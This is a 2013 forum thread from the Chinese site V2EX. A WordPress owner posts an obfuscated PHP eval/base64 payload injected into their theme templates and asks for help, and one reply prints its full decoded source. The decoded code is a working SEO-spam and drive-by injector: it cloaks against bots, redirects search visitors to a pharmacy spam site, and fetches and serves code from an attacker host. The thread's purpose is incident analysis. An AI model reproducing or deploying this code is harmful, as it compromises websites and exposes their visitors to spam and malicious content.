V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
nonozone
V2EX  ›  问与答

我的Wordpress的模板文件头部都被添加了一段加密代码,导致网站显示不正常,并且服务器上只有这一个网站有问题,不知道谁能帮我看看这段代码怎么解密出来?

  •  
  •   nonozone · 2013-09-22 09:59:45 +08:00 · 4696 次点击
    这是一个创建于 4099 天前的主题,其中的信息可能已经有所发展或是发生改变。
    8 条回复    1970-01-01 08:00:00 +08:00
    nonozone
        1
    nonozone  
    OP
       2013-09-22 10:00:12 +08:00
    <?php eval(gzinflate(base64_decode('rRhrc5tI8rNTdf9homIFxBgh9LBlG9upjXY3tZs4pyh3H2xHhWEQEyEgA/gRW//9umcAIdtK7dWdK pFmunu6e/o9ZgHRXvs0YDH1NTXgy3eZqusP/3i1I4EVjBhd/QiglPOEzzhNE56zeK5ZAgr/giL2cpbEBOhnfkQ0peCRTpDTDgMhFX5G71iWZ5rqAX 7GYpaDPEm2o3ghcUiNkCyOBEoAM5onKYC90CC/fpn8df5pOpuMp18mH6eTtx8//zaeGKRbHlCSIq+Y0TvqETxW4lAfieA8TgSCvHYcYumkPBa4UUY bkr0oyWiDxYpQICAPJflZwCI6m9N85iVxTmO4n9R9hcSc5gWPSc7ZUsMDgsXqBbN5HG/HYmH/HYVFTpbziMYCdqQkjqoK6UHCQRcGgq0jAr/H8BXh ancXb2A6QH+hsCvylahv5JFSByXZJhuU91wvpJqSL1OfcUOJWLwwFG+ZsyU1FJ9GTs4LWuoWgPCS0lQ7Gc2ymWou/YGWcjrH+IhcD4Kn8zXM8/Tws nPZufh62bna7agGUeG/4K5LY7JAey0MWIaGEujk8ZGgXE0newRxQguBOSFDi7whpWI6Miijx488R0afJtlX3tYEynGEV+UFBBjupMvNzlkR4xGUIE /toIMrZJ4UXrjGCa8KAiJWa45KkIpwSFL0WmCot2U24Se45SzHS6RGw92gGtiBBCLEEFkpsEIBD5XjgExGk5S+kl7wtgRfqWl5GPaefroWCbtDGUo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4zkbjwknuG//D5/fjxPKXcbZI8G9vEFFM9CatM/PX8/M/34wt1NivyZcCxKpFG/FfFuPzjinRY3Ykqy9Z/X9nq0JqR0R1UDjkDDbwkWTAonZV4Qwz 98MS3YMQrB75dMfC92YfUVTf8t/oP')));?>
    wdd2007
        2
    wdd2007  
       2013-09-22 10:02:39 +08:00
    被挂马了。。
    qiuai
        3
    qiuai  
       2013-09-22 10:07:23 +08:00
    if (!defined('frmDs')){ define('frmDs' ,1); error_reporting(0); function frm_dl ($url) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $out = curl_exec ($ch); if (curl_errno($ch) !== 0) $out = false; curl_close ($ch); } else {$out = @file_get_contents($url);} return trim($out); } function frm_crpt($in){ $il=strlen($in);$o=''; for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*'; return $o; } function frm_getcache($tmpdir,$link,$cmtime,$del=true){ $f = $tmpdir.'/sess_'.md5(preg_replace('/^http:\/\/[^\/]+/', '', $link)); if(!file_exists($f) || time() - filemtime($f) > 60 * $cmtime) { $dlc=frm_dl($link); if($dlc===false){ if(del) @unlink($f); else @touch($f); } else { if($fp = @fopen($f,'w')){ fwrite($fp, frm_crpt($dlc)); fclose($fp); }else{return $dlc;} } } $fc = @file_get_contents($f); return ($fc)?frm_crpt($fc):''; } function frm_isbot(){ $ua=@strtolower($_SERVER['HTTP_USER_AGENT']); if(($lip=ip2long($_SERVER['REMOTE_ADDR']))<0)$lip+=4294967296; $rs = array(array(3639549953,3639558142),array(1089052673,1089060862),array(1123635201,1123639294),array(1208926209,1208942590), array(3512041473,3512074238),array(1113980929,1113985022),array(1249705985,1249771518),array(1074921473,1074925566), array(3481178113,3481182206),array(2915172353,2915237886)); foreach ($rs as $r) if($lip>=$r[0] && $lip<=$r[1]) return true; if(!$ua)return true; $bots = array('googlebot','bingbot','slurp','msnbot','jeeves','teoma','crawler','spider'); foreach ($bots as $b) if(strpos($ua, $b)!==false) return true; $h=@gethostbyaddr($_SERVER['REMOTE_ADDR']); $hba=array('google','msn','yahoo'); if($h) foreach ($hba as $hb) if(strpos($h, $hb)!==false) return true; return false; } function frm_tmpdir(){ $fs = array('/tmp','/var/tmp'); foreach (array('TMP', 'TEMP', 'TMPDIR') as $v) { if ($t = getenv($v)) {$fs[]=$t;} } if (function_exists('sys_get_temp_dir')) {$fs[]=sys_get_temp_dir();} $fs[]='.'; foreach ($fs as $f){ $tf = $f.'/'.md5(rand()); if($fp = @fopen($tf, 'w')){ fclose($fp); unlink($tf); return $f; } } return false; } function frm_seref(){ $r = @strtolower($_SERVER["HTTP_REFERER"]); $ses = array('google','bing','yahoo','ask','aol'); foreach ($ses as $se) if(strpos($r, $se.'.')!=false) return true; return false; } function frm_isuniq($tdir){ $ip=$_SERVER['REMOTE_ADDR']; $dbf=$tdir.'/sess_'.md5(date('m.d.y')); $odbf = $tdir.'/sess_'.md5(date('m.d.y',time()-86400)); if (file_exists($odbf)) @unlink($odbf); if(strpos(frm_crpt(@file_get_contents($dbf)),$ip) === false ){ if ($fp=@fopen($dbf,'a')){fputs($fp,frm_crpt($ip.'|')); fclose($fp);} return true; } return false; } function frm_havekey(){ $nks = array('cialis','cipro','clomi','diflucan','finasteride','fluconazole','furosemide','kamagra','lasix','levitra','propecia','sildenafil','tadalafil','vardenafil','viagra','zithrom','priligy','amoxil'); $k = @strtolower($_SERVER["HTTP_REFERER"].$_SERVER["REQUEST_URI"]); print_r($r); if (strpos($k,"site%3A")!==false||strpos($k,"inurl%3A")!==false) return false; foreach ($nks as $n)if(strpos($k, $n)!==false) return $n; return false; } $tdir = frm_tmpdir(); $defframe = '
    '; $codelink = 'http://qfwucflgixuz.rr.nu/nc/gnc.php?ver=jquery.latest.js'; $ua=$_SERVER['HTTP_USER_AGENT']; $isb=frm_isbot(); $k=frm_havekey(); //------- $host = preg_replace('/^w{3}\./','', strtolower($_SERVER['HTTP_HOST'])); if($tdir && strlen($host)<100 && preg_match('/^[a-z0-9\-]+\.([a-z]{2,5}|[a-z]{2,3}\.[a-z]{2,3}|[a-z0-9\-]+\.edu)$/', $host)){ $parg = substr(preg_replace( '/[^a-z]+/', '',strtolower(base64_encode(md5($host.'p')))),0,3); $pageid = (isset($_GET[$parg]))?$_GET[$parg]*1:0; $ruri = strtolower($_SERVER['REQUEST_URI']); if((strpos($ruri,'/?')===0||strpos($ruri,'/index.php?')===0) && $pageid > 0){ if(!$isb && frm_seref()){ header('Location: https://pharmshopping.net'.($k?('/search.html?key='.$k.'&'):'/?').'rdh='.$host.'&rpn='.$pageid); exit(); } print(frm_getcache($tdir,"http://qfwucflgixuz.rr.nu/rdg/getpage.php?h=$host&p=$pageid&pa=$parg",60*24,false)); exit(); } if (($ruri=='/' || $ruri=='/index.php') && $isb) { print(frm_getcache($tdir,"http://qfwucflgixuz.rr.nu/rdg/getpage.php?h=$host&pa=$parg&g=1",60*24,false)); exit(); } } //--------- if(!$isb&&frm_seref()&&$k){ header('Location: https://pharmshopping.net/search.html?key='.$k.'&rdh=na');exit(); } if (!$isb && preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) && frm_isuniq($tdir) ){ if(!isset($_COOKIE['__utmfr'])) { if(!$codelink) print($defframe); else print(frm_getcache($tdir,$codelink,15)); @setcookie('__utmfr',rand(1,1000),time()+86400*7,'/'); } } }
    vivianalive
        4
    vivianalive  
       2013-09-22 10:07:54 +08:00
    被黑了...临时的应对办法是,FTP禁掉所有修改文件的权限.
    然后排插吧.
    nonozone
        5
    nonozone  
    OP
       2013-09-22 10:24:58 +08:00
    @vivianalive 服务器没有开通FTP服务...所有的网站文件都是直接归属给www了。
    nonozone
        6
    nonozone  
    OP
       2013-09-22 10:25:38 +08:00
    @qiuai 请教下这段话的主要行为是干嘛呢?
    nonozone
        7
    nonozone  
    OP
       2013-09-22 10:54:44 +08:00
    顺便再请教下,在shell下,可以使用什么命令 查找替换掉 所有文件里的这段代码呢?
    nonozone
        8
    nonozone  
    OP
       2013-09-22 11:56:48 +08:00
    额,没办法 @laoyu 不知道可以不...
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   894 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 24ms · UTC 21:30 · PVG 05:30 · LAX 13:30 · JFK 16:30
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.